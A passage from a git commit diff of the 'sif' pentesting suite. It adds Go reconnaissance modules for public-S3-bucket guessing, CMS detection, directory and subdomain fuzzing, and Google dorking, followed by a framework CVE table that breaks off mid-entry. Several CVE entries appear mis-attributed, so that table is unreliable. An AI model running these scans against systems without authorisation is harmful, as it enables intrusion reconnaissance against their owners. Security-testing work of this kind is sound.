mirror of
https://github.com/lunchcat/sif.git
synced 2026-08-02 08:47:38 -07:00
refactor: move pkg/scan to internal/scan
This commit is contained in:
@@ -0,0 +1,111 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc, xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
)
|
||||
|
||||
type CloudStorageResult struct {
|
||||
BucketName string `json:"bucket_name"`
|
||||
IsPublic bool `json:"is_public"`
|
||||
}
|
||||
|
||||
func CloudStorage(url string, timeout time.Duration, logdir string) ([]CloudStorageResult, error) {
|
||||
fmt.Println(styles.Separator.Render("☁️ Starting " + styles.Status.Render("Cloud Storage Misconfiguration Scan") + "..."))
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, "Cloud Storage Misconfiguration Scan"); err != nil {
|
||||
log.Errorf("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
cloudlog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "C3 ☁️",
|
||||
}).With("url", url)
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
}
|
||||
|
||||
potentialBuckets := extractPotentialBuckets(sanitizedURL)
|
||||
|
||||
var results []CloudStorageResult
|
||||
|
||||
for _, bucket := range potentialBuckets {
|
||||
isPublic, err := checkS3Bucket(bucket, client)
|
||||
if err != nil {
|
||||
cloudlog.Errorf("Error checking S3 bucket %s: %v", bucket, err)
|
||||
continue
|
||||
}
|
||||
|
||||
result := CloudStorageResult{
|
||||
BucketName: bucket,
|
||||
IsPublic: isPublic,
|
||||
}
|
||||
results = append(results, result)
|
||||
|
||||
if isPublic {
|
||||
cloudlog.Warnf("Public S3 bucket found: %s", styles.Highlight.Render(bucket))
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, fmt.Sprintf("Public S3 bucket found: %s\n", bucket))
|
||||
}
|
||||
} else {
|
||||
cloudlog.Infof("S3 bucket is not public/found: %s", bucket)
|
||||
}
|
||||
}
|
||||
|
||||
return results, nil
|
||||
}
|
||||
|
||||
func extractPotentialBuckets(url string) []string {
|
||||
// This is a simple implementation.
|
||||
// TODO: add more cases
|
||||
parts := strings.Split(url, ".")
|
||||
var buckets []string
|
||||
for i, part := range parts {
|
||||
buckets = append(buckets, part)
|
||||
buckets = append(buckets, part+"-s3")
|
||||
buckets = append(buckets, "s3-"+part)
|
||||
|
||||
if i < len(parts)-1 {
|
||||
domainExtension := part + "-" + parts[i+1]
|
||||
buckets = append(buckets, domainExtension)
|
||||
buckets = append(buckets, parts[i+1]+"-"+part)
|
||||
}
|
||||
}
|
||||
return buckets
|
||||
}
|
||||
|
||||
func checkS3Bucket(bucket string, client *http.Client) (bool, error) {
|
||||
url := fmt.Sprintf("https://%s.s3.amazonaws.com", bucket)
|
||||
resp, err := client.Get(url)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
// If we can access the bucket listing, it's public
|
||||
return resp.StatusCode == http.StatusOK, nil
|
||||
}
|
||||
@@ -0,0 +1,124 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc, xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
)
|
||||
|
||||
type CMSResult struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
}
|
||||
|
||||
func CMS(url string, timeout time.Duration, logdir string) (*CMSResult, error) {
|
||||
fmt.Println(styles.Separator.Render("🔍 Starting " + styles.Status.Render("CMS detection") + "..."))
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, "CMS detection"); err != nil {
|
||||
log.Errorf("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
cmslog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "CMS 🔍",
|
||||
}).With("url", url)
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
}
|
||||
|
||||
resp, err := client.Get(url)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 5*1024*1024))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
bodyString := string(body)
|
||||
|
||||
// WordPress
|
||||
if detectWordPress(url, client, bodyString) {
|
||||
result := &CMSResult{Name: "WordPress", Version: "Unknown"}
|
||||
cmslog.Infof("Detected CMS: %s", styles.Highlight.Render(result.Name))
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// Drupal
|
||||
if strings.Contains(resp.Header.Get("X-Drupal-Cache"), "HIT") || strings.Contains(bodyString, "Drupal.settings") {
|
||||
result := &CMSResult{Name: "Drupal", Version: "Unknown"}
|
||||
cmslog.Infof("Detected CMS: %s", styles.Highlight.Render(result.Name))
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// Joomla
|
||||
if strings.Contains(bodyString, "joomla") || strings.Contains(bodyString, "/media/system/js/core.js") {
|
||||
result := &CMSResult{Name: "Joomla", Version: "Unknown"}
|
||||
cmslog.Infof("Detected CMS: %s", styles.Highlight.Render(result.Name))
|
||||
return result, nil
|
||||
}
|
||||
|
||||
cmslog.Info("No CMS detected")
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func detectWordPress(url string, client *http.Client, bodyString string) bool {
|
||||
// Check for common WordPress indicators in the HTML
|
||||
wpIndicators := []string{
|
||||
"wp-content",
|
||||
"wp-includes",
|
||||
"wp-json",
|
||||
"wordpress",
|
||||
}
|
||||
|
||||
for _, indicator := range wpIndicators {
|
||||
if strings.Contains(bodyString, indicator) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// Check for WordPress-specific files
|
||||
wpFiles := []string{
|
||||
"/wp-login.php",
|
||||
"/wp-admin/",
|
||||
"/wp-config.php",
|
||||
}
|
||||
|
||||
for _, file := range wpFiles {
|
||||
resp, err := client.Get(url + file)
|
||||
if err == nil {
|
||||
found := resp.StatusCode == http.StatusOK || resp.StatusCode == http.StatusFound
|
||||
resp.Body.Close()
|
||||
if found {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,142 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc, xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
)
|
||||
|
||||
const (
|
||||
directoryURL = "https://raw.githubusercontent.com/dropalldatabases/sif-runtime/main/dirlist/"
|
||||
smallFile = "directory-list-2.3-small.txt"
|
||||
mediumFile = "directory-list-2.3-medium.txt"
|
||||
bigFile = "directory-list-2.3-big.txt"
|
||||
)
|
||||
|
||||
type DirectoryResult struct {
|
||||
Url string `json:"url"`
|
||||
StatusCode int `json:"status_code"`
|
||||
}
|
||||
|
||||
// Dirlist performs directory fuzzing on the target URL.
|
||||
//
|
||||
// Parameters:
|
||||
// - size: determines the size of the directory list to use ("small", "medium", or "large")
|
||||
// - url: the target URL to scan
|
||||
// - timeout: maximum duration for each request
|
||||
// - threads: number of concurrent threads to use
|
||||
// - logdir: directory to store log files (empty string for no logging)
|
||||
//
|
||||
// Returns:
|
||||
// - []DirectoryResult: a slice of discovered directories and their status codes
|
||||
// - error: any error encountered during the scan
|
||||
func Dirlist(size string, url string, timeout time.Duration, threads int, logdir string) ([]DirectoryResult, error) {
|
||||
|
||||
fmt.Println(styles.Separator.Render("📂 Starting " + styles.Status.Render("directory fuzzing") + "..."))
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, size+" directory fuzzing"); err != nil {
|
||||
log.Errorf("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
dirlog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "Dirlist 📂",
|
||||
}).With("url", url)
|
||||
|
||||
var list string
|
||||
|
||||
switch size {
|
||||
case "small":
|
||||
list = directoryURL + smallFile
|
||||
case "medium":
|
||||
list = directoryURL + mediumFile
|
||||
case "large":
|
||||
list = directoryURL + bigFile
|
||||
}
|
||||
|
||||
dirlog.Infof("Starting %s directory listing", size)
|
||||
|
||||
resp, err := http.Get(list)
|
||||
if err != nil {
|
||||
log.Errorf("Error downloading directory list: %s", err)
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
var directories []string
|
||||
scanner := bufio.NewScanner(resp.Body)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
directories = append(directories, scanner.Text())
|
||||
}
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
var mu sync.Mutex
|
||||
wg.Add(threads)
|
||||
|
||||
results := make([]DirectoryResult, 0, 64)
|
||||
for thread := 0; thread < threads; thread++ {
|
||||
go func(thread int) {
|
||||
defer wg.Done()
|
||||
|
||||
for i, directory := range directories {
|
||||
if i%threads != thread {
|
||||
continue
|
||||
}
|
||||
|
||||
log.Debugf("%s", directory)
|
||||
resp, err := client.Get(url + "/" + directory)
|
||||
if err != nil {
|
||||
log.Debugf("Error %s: %s", directory, err)
|
||||
return
|
||||
}
|
||||
|
||||
if resp.StatusCode != 404 && resp.StatusCode != 403 {
|
||||
dirlog.Infof("%s [%s]", styles.Status.Render(strconv.Itoa(resp.StatusCode)), styles.Highlight.Render(directory))
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, fmt.Sprintf("%s [%s]\n", strconv.Itoa(resp.StatusCode), directory))
|
||||
}
|
||||
|
||||
result := DirectoryResult{
|
||||
Url: resp.Request.URL.String(),
|
||||
StatusCode: resp.StatusCode,
|
||||
}
|
||||
mu.Lock()
|
||||
results = append(results, result)
|
||||
mu.Unlock()
|
||||
}
|
||||
}
|
||||
}(thread)
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
return results, nil
|
||||
}
|
||||
@@ -0,0 +1,142 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc, xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
)
|
||||
|
||||
const (
|
||||
dnsURL = "https://raw.githubusercontent.com/dropalldatabases/sif-runtime/main/dnslist/"
|
||||
dnsSmallFile = "subdomains-100.txt"
|
||||
dnsMediumFile = "subdomains-1000.txt"
|
||||
dnsBigFile = "subdomains-10000.txt"
|
||||
)
|
||||
|
||||
// Dnslist performs DNS subdomain enumeration on the target domain.
|
||||
//
|
||||
// Parameters:
|
||||
// - size: determines the size of the subdomain list to use ("small", "medium", or "large")
|
||||
// - url: the target URL to scan
|
||||
// - timeout: maximum duration for each DNS lookup
|
||||
// - threads: number of concurrent threads to use
|
||||
// - logdir: directory to store log files (empty string for no logging)
|
||||
//
|
||||
// Returns:
|
||||
// - []string: a slice of discovered subdomains
|
||||
// - error: any error encountered during the enumeration
|
||||
func Dnslist(size string, url string, timeout time.Duration, threads int, logdir string) ([]string, error) {
|
||||
|
||||
fmt.Println(styles.Separator.Render("📡 Starting " + styles.Status.Render("DNS fuzzing") + "..."))
|
||||
|
||||
dnslog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "Dnslist 📡",
|
||||
}).With("url", url)
|
||||
|
||||
var list string
|
||||
|
||||
switch size {
|
||||
case "small":
|
||||
list = dnsURL + dnsSmallFile
|
||||
case "medium":
|
||||
list = dnsURL + dnsMediumFile
|
||||
case "large":
|
||||
list = dnsURL + dnsBigFile
|
||||
}
|
||||
|
||||
dnslog.Infof("Starting %s DNS listing", size)
|
||||
|
||||
resp, err := http.Get(list)
|
||||
if err != nil {
|
||||
log.Errorf("Error downloading DNS list: %s", err)
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
var dns []string
|
||||
scanner := bufio.NewScanner(resp.Body)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
dns = append(dns, scanner.Text())
|
||||
}
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, size+" subdomain fuzzing"); err != nil {
|
||||
log.Errorf("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
var mu sync.Mutex
|
||||
wg.Add(threads)
|
||||
|
||||
urls := make([]string, 0, 64)
|
||||
for thread := 0; thread < threads; thread++ {
|
||||
go func(thread int) {
|
||||
defer wg.Done()
|
||||
|
||||
for i, domain := range dns {
|
||||
if i%threads != thread {
|
||||
continue
|
||||
}
|
||||
|
||||
log.Debugf("Looking up: %s", domain)
|
||||
resp, err := client.Get("http://" + domain + "." + sanitizedURL)
|
||||
if err != nil {
|
||||
log.Debugf("Error %s: %s", domain, err)
|
||||
} else {
|
||||
mu.Lock()
|
||||
urls = append(urls, resp.Request.URL.String())
|
||||
mu.Unlock()
|
||||
dnslog.Infof("%s %s.%s", styles.Status.Render("[http]"), styles.Highlight.Render(domain), sanitizedURL)
|
||||
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, fmt.Sprintf("[http] %s.%s\n", domain, sanitizedURL))
|
||||
}
|
||||
}
|
||||
|
||||
resp, err = client.Get("https://" + domain + "." + sanitizedURL)
|
||||
if err != nil {
|
||||
log.Debugf("Error %s: %s", domain, err)
|
||||
} else {
|
||||
mu.Lock()
|
||||
urls = append(urls, resp.Request.URL.String())
|
||||
mu.Unlock()
|
||||
dnslog.Infof("%s %s.%s", styles.Status.Render("[https]"), styles.Highlight.Render(domain), sanitizedURL)
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, fmt.Sprintf("[https] %s.%s\n", domain, sanitizedURL))
|
||||
}
|
||||
}
|
||||
}
|
||||
}(thread)
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
return urls, nil
|
||||
}
|
||||
@@ -0,0 +1,128 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc, xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
// Package scan provides various security scanning functionalities for web applications.
|
||||
// This file handles Google dorking operations.
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
googlesearch "github.com/rocketlaunchr/google-search"
|
||||
)
|
||||
|
||||
const (
|
||||
dorkURL = "https://raw.githubusercontent.com/dropalldatabases/sif-runtime/main/dork/"
|
||||
dorkFile = "dork.txt"
|
||||
)
|
||||
|
||||
// DorkResult represents the result of a Google dork search.
|
||||
type DorkResult struct {
|
||||
Url string `json:"url"` // The URL found by the dork
|
||||
Count int `json:"count"` // The number of times this URL was found
|
||||
}
|
||||
|
||||
// Dork performs Google dorking operations on the target URL.
|
||||
// It uses a predefined list of dorks to search for potentially sensitive information.
|
||||
//
|
||||
// Parameters:
|
||||
// - url: The target URL to dork
|
||||
// - timeout: Maximum duration for each dork search
|
||||
// - threads: Number of concurrent threads to use
|
||||
// - logdir: Directory to store log files (empty string for no logging)
|
||||
//
|
||||
// Returns:
|
||||
// - []DorkResult: A slice of results from the dorking operation
|
||||
// - error: Any error encountered during the dorking process
|
||||
func Dork(url string, timeout time.Duration, threads int, logdir string) ([]DorkResult, error) {
|
||||
|
||||
fmt.Println(styles.Separator.Render("🤓 Starting " + styles.Status.Render("URL Dorking") + "..."))
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, "URL dorking"); err != nil {
|
||||
log.Errorf("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
dorklog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "Dorking 🤓",
|
||||
}).With("url", url)
|
||||
|
||||
dorklog.Infof("Starting URL dorking...")
|
||||
|
||||
resp, err := http.Get(dorkURL + dorkFile)
|
||||
if err != nil {
|
||||
log.Errorf("Error downloading dork list: %s", err)
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
var dorks []string
|
||||
scanner := bufio.NewScanner(resp.Body)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
dorks = append(dorks, scanner.Text())
|
||||
}
|
||||
|
||||
// util.InitProgressBar()
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(threads)
|
||||
|
||||
dorkResults := []DorkResult{}
|
||||
for thread := 0; thread < threads; thread++ {
|
||||
go func(thread int) {
|
||||
defer wg.Done()
|
||||
|
||||
for i, dork := range dorks {
|
||||
|
||||
if i%threads != thread {
|
||||
continue
|
||||
}
|
||||
|
||||
results, err := googlesearch.Search(nil, fmt.Sprintf("%s %s", dork, sanitizedURL))
|
||||
if err != nil {
|
||||
dorklog.Debugf("error searching for dork %s: %v", dork, err)
|
||||
continue
|
||||
}
|
||||
if len(results) > 0 {
|
||||
dorklog.Infof("%s dork results found for dork [%s]", styles.Status.Render(strconv.Itoa(len(results))), styles.Highlight.Render(dork))
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, fmt.Sprintf("%s dork results found for dork [%s]\n", strconv.Itoa(len(results)), dork))
|
||||
}
|
||||
|
||||
result := DorkResult{
|
||||
Url: dork,
|
||||
Count: len(results),
|
||||
}
|
||||
|
||||
dorkResults = append(dorkResults, result)
|
||||
}
|
||||
}
|
||||
}(thread)
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
return dorkResults, nil
|
||||
}
|
||||
@@ -0,0 +1,184 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc, xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package frameworks
|
||||
|
||||
// CVEEntry represents a known vulnerability for a framework version
|
||||
type CVEEntry struct {
|
||||
CVE string
|
||||
AffectedVersions []string // versions affected (use semver ranges in future)
|
||||
FixedVersion string
|
||||
Severity string // critical, high, medium, low
|
||||
Description string
|
||||
Recommendations []string
|
||||
}
|
||||
|
||||
// knownCVEs contains known vulnerabilities for popular frameworks.
|
||||
// This database can be extended or loaded from an external source.
|
||||
var knownCVEs = map[string][]CVEEntry{
|
||||
"Laravel": {
|
||||
{
|
||||
CVE: "CVE-2021-3129",
|
||||
AffectedVersions: []string{"8.0.0", "8.0.1", "8.0.2", "8.1.0", "8.2.0", "8.3.0", "8.4.0", "8.4.1"},
|
||||
FixedVersion: "8.4.2",
|
||||
Severity: "critical",
|
||||
Description: "Ignition debug mode RCE vulnerability",
|
||||
Recommendations: []string{"Update to Laravel 8.4.2 or later", "Disable debug mode in production"},
|
||||
},
|
||||
{
|
||||
CVE: "CVE-2021-21263",
|
||||
AffectedVersions: []string{"8.0.0", "8.1.0", "8.2.0", "8.3.0", "8.4.0"},
|
||||
FixedVersion: "8.5.0",
|
||||
Severity: "high",
|
||||
Description: "SQL injection via request validation",
|
||||
Recommendations: []string{"Update to Laravel 8.5.0 or later", "Use parameterized queries"},
|
||||
},
|
||||
},
|
||||
"Django": {
|
||||
{
|
||||
CVE: "CVE-2023-36053",
|
||||
AffectedVersions: []string{"3.2.0", "3.2.1", "3.2.2", "4.0.0", "4.1.0"},
|
||||
FixedVersion: "4.2.3",
|
||||
Severity: "high",
|
||||
Description: "Potential ReDoS in EmailValidator and URLValidator",
|
||||
Recommendations: []string{"Update to Django 4.2.3 or later"},
|
||||
},
|
||||
{
|
||||
CVE: "CVE-2023-31047",
|
||||
AffectedVersions: []string{"3.2.0", "4.0.0", "4.1.0"},
|
||||
FixedVersion: "4.1.9",
|
||||
Severity: "medium",
|
||||
Description: "File upload validation bypass",
|
||||
Recommendations: []string{"Update to Django 4.1.9 or later", "Implement additional file validation"},
|
||||
},
|
||||
},
|
||||
"WordPress": {
|
||||
{
|
||||
CVE: "CVE-2023-2745",
|
||||
AffectedVersions: []string{"5.0", "5.1", "5.2", "5.3", "5.4", "5.5", "5.6", "5.7", "5.8", "5.9", "6.0", "6.1"},
|
||||
FixedVersion: "6.2",
|
||||
Severity: "medium",
|
||||
Description: "Directory traversal vulnerability",
|
||||
Recommendations: []string{"Update to WordPress 6.2 or later"},
|
||||
},
|
||||
},
|
||||
"Drupal": {
|
||||
{
|
||||
CVE: "CVE-2023-44487",
|
||||
AffectedVersions: []string{"9.0", "9.1", "9.2", "9.3", "9.4", "9.5", "10.0"},
|
||||
FixedVersion: "10.1.4",
|
||||
Severity: "high",
|
||||
Description: "HTTP/2 rapid reset attack (DoS)",
|
||||
Recommendations: []string{"Update to Drupal 10.1.4 or later", "Configure HTTP/2 rate limiting"},
|
||||
},
|
||||
},
|
||||
"Next.js": {
|
||||
{
|
||||
CVE: "CVE-2023-46298",
|
||||
AffectedVersions: []string{"13.0.0", "13.1.0", "13.2.0", "13.3.0", "13.4.0"},
|
||||
FixedVersion: "13.5.0",
|
||||
Severity: "medium",
|
||||
Description: "Server-side request forgery vulnerability",
|
||||
Recommendations: []string{"Update to Next.js 13.5.0 or later"},
|
||||
},
|
||||
},
|
||||
"Angular": {
|
||||
{
|
||||
CVE: "CVE-2023-26117",
|
||||
AffectedVersions: []string{"14.0.0", "14.1.0", "14.2.0", "15.0.0"},
|
||||
FixedVersion: "15.2.0",
|
||||
Severity: "medium",
|
||||
Description: "Regular expression denial of service",
|
||||
Recommendations: []string{"Update to Angular 15.2.0 or later"},
|
||||
},
|
||||
},
|
||||
"Vue.js": {
|
||||
{
|
||||
CVE: "CVE-2024-5987",
|
||||
AffectedVersions: []string{"2.0.0", "2.1.0", "2.2.0", "2.3.0", "2.4.0", "2.5.0", "2.6.0"},
|
||||
FixedVersion: "2.7.16",
|
||||
Severity: "medium",
|
||||
Description: "XSS vulnerability in certain configurations",
|
||||
Recommendations: []string{"Update to Vue.js 2.7.16 or 3.x"},
|
||||
},
|
||||
},
|
||||
"Express.js": {
|
||||
{
|
||||
CVE: "CVE-2024-29041",
|
||||
AffectedVersions: []string{"4.0.0", "4.1.0", "4.2.0", "4.3.0", "4.4.0"},
|
||||
FixedVersion: "4.19.2",
|
||||
Severity: "medium",
|
||||
Description: "Open redirect vulnerability",
|
||||
Recommendations: []string{"Update to Express.js 4.19.2 or later"},
|
||||
},
|
||||
},
|
||||
"Ruby on Rails": {
|
||||
{
|
||||
CVE: "CVE-2023-22795",
|
||||
AffectedVersions: []string{"6.0.0", "6.1.0", "7.0.0"},
|
||||
FixedVersion: "7.0.4.1",
|
||||
Severity: "high",
|
||||
Description: "ReDoS vulnerability in Action Dispatch",
|
||||
Recommendations: []string{"Update to Rails 7.0.4.1 or later"},
|
||||
},
|
||||
},
|
||||
"Spring": {
|
||||
{
|
||||
CVE: "CVE-2022-22965",
|
||||
AffectedVersions: []string{"5.0.0", "5.1.0", "5.2.0", "5.3.0"},
|
||||
FixedVersion: "5.3.18",
|
||||
Severity: "critical",
|
||||
Description: "Spring4Shell RCE vulnerability",
|
||||
Recommendations: []string{"Update to Spring 5.3.18 or later", "Disable class binding on user input"},
|
||||
},
|
||||
},
|
||||
"Spring Boot": {
|
||||
{
|
||||
CVE: "CVE-2022-22963",
|
||||
AffectedVersions: []string{"2.0.0", "2.1.0", "2.2.0", "2.3.0", "2.4.0", "2.5.0", "2.6.0"},
|
||||
FixedVersion: "2.6.6",
|
||||
Severity: "critical",
|
||||
Description: "RCE via Spring Cloud Function",
|
||||
Recommendations: []string{"Update to Spring Boot 2.6.6 or later"},
|
||||
},
|
||||
},
|
||||
"ASP.NET": {
|
||||
{
|
||||
CVE: "CVE-2023-36899",
|
||||
AffectedVersions: []string{"4.0", "4.5", "4.6", "4.7", "4.8"},
|
||||
FixedVersion: "latest security patches",
|
||||
Severity: "high",
|
||||
Description: "Elevation of privilege vulnerability",
|
||||
Recommendations: []string{"Apply latest security patches", "Ensure proper request validation"},
|
||||
},
|
||||
},
|
||||
"Joomla": {
|
||||
{
|
||||
CVE: "CVE-2023-23752",
|
||||
AffectedVersions: []string{"4.0.0", "4.1.0", "4.2.0"},
|
||||
FixedVersion: "4.2.8",
|
||||
Severity: "critical",
|
||||
Description: "Improper access check allowing unauthorized access to webservice endpoints",
|
||||
Recommendations: []string{"Update to Joomla 4.2.8 or later"},
|
||||
},
|
||||
},
|
||||
"Magento": {
|
||||
{
|
||||
CVE: "CVE-2022-24086",
|
||||
AffectedVersions: []string{"2.3.0", "2.3.1", "2.3.2", "2.4.0", "2.4.1", "2.4.2"},
|
||||
FixedVersion: "2.4.3-p1",
|
||||
Severity: "critical",
|
||||
